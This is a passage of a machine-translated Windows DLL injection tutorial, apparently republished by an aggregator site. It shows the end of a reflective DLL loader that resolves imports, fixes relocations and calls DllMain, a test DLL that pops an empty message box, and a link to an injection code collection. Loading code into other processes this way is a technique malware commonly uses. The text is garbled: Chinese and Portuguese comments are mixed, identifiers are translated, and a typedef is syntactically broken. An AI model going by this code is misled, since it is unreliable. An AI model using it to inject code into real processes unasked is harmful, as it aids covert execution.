FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, (CHAR*)ImageImportByName->Name); // 通过函数名称得到函数地址
}
// 更新IAT
FirstThunk[j].u1.Function = FunctionAddress;
}
}
// 2.4修正重定向表
DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress;
NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew);
// UINT_PTR Delta = NewBaseAddress - NtHeader->OptionalHeader.ImageBase;
IMAGE_DATA_DIRECTORY BaseRelocDataDirectory = (IMAGE_DATA_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
// 有无重定向表
if (BaseRelocDataDirectory.Size != 0)
{
PIMAGE_BASE_RELOCATION BaseRelocation = (PIMAGE_BASE_RELOCATION)((PUINT8)NewBaseAddress + BaseRelocDataDirectory.VirtualAddress);
while (BaseRelocation->SizeOfBlock != 0)
{
typedef struct _IMAGE_RELOC
{
UINT16 Offset : 12; // 低12bits---偏移
UINT16 Type : 4; // Alto4bits---Tipo
} IMAGE_RELOC; *PIMAGE_RELOC;
// Localizar o bloco de redirecionamento
PIMAGE_RELOC RelocationBlock = (PIMAGE_RELOC)((PUINT8)BaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
// Calcular o número de itens de redirecionamento a serem corrigidos
UINT32 NumberOfRelocations = (BaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(UINT16);
for (INT i = 0; i < NumberOfRelocations; i++)
{
if (RelocationBlock[i].Type == IMAGE_REL_BASED_DIR64)
{
// 64 bits
PUINT64 Endereço = (PUINT64)((PUINT8)NewBaseAddress + BaseRelocation->VirtualAddress + RelocationBlock[i].Offset);
UINT64 Delta = (UINT64)NewBaseAddress - NtHeader->OptionalHeader.ImageBase;
*Endereço += Delta;
}
else if (RelocationBlock[i].Type == IMAGE_REL_BASED_HIGHLOW)
{
// 32 bits
PUINT32 Endereço = (PUINT32)((PUINT8)NewBaseAddress + BaseRelocation->VirtualAddress + (RelocationBlock[i].Offset));
UINT32 Delta = (UINT32)NewBaseAddress - NtHeader->OptionalHeader.ImageBase;
*Endereço += Delta;
}
}
// Ir para a próxima tabela de redirecionamento
BaseRelocation = (PIMAGE_BASE_RELOCATION)((PUINT8)BaseRelocation + BaseRelocation->SizeOfBlock);
}
}
// 3.Obtém o OEP do módulo
UINT_PTR AddressOfEntryPoint = (UINT_PTR)((PUINT8)NewBaseAddress + NtHeader->OptionalHeader.AddressOfEntryPoint);
NtFlushInstructionCacheAddress(INVALID_HANDLE_VALUE, NULL, 0);
// Chama através do OEP para chamar DllMain
((pfnDllMain)AddressOfEntryPoint)((HMODULE)NewBaseAddress, DLL_PROCESS_ATTACH, lParam);
/* _asm
{
int 3;
}
*/
return AddressOfEntryPoint;
}
// dllmain.cpp: Define o ponto de entrada do aplicativo DLL.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(0, 0, 0, 0);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

0x09Resumo

  Talvez ainda haja coisas que eu não aprendi Ring3Métodos de injeção de Dll, como se diz, o caminho é longo e a jornada é longa, eu vou buscar tanto acima quanto abaixo!

  Ofereço o endereço de download do código: https://github.com/YouArekongqi/InjectCollection.git

O que foi mencionado acima é o que o editor apresentou aos leitores sobre Windows x86/ x64 Ring3Resumo de Injeção de Dll, esperando ajudar a todos!

Declaração: O conteúdo deste artigo é de origem na internet, pertencente ao respectivo autor. O conteúdo é contribuído e carregado voluntariamente pelos usuários da internet. Este site não possui direitos de propriedade, não foi editado manualmente e não assume responsabilidade por eventuais responsabilidades legais. Se você encontrar conteúdo suspeito de violação de direitos autorais, por favor, envie e-mail para: notice#oldtoolbag.com (ao enviar e-mail, troque # por @ para denunciar e forneça provas relevantes. Apenas se confirmado, o site deletará imediatamente o conteúdo suspeito de violação de direitos autorais.)

Você também pode gostar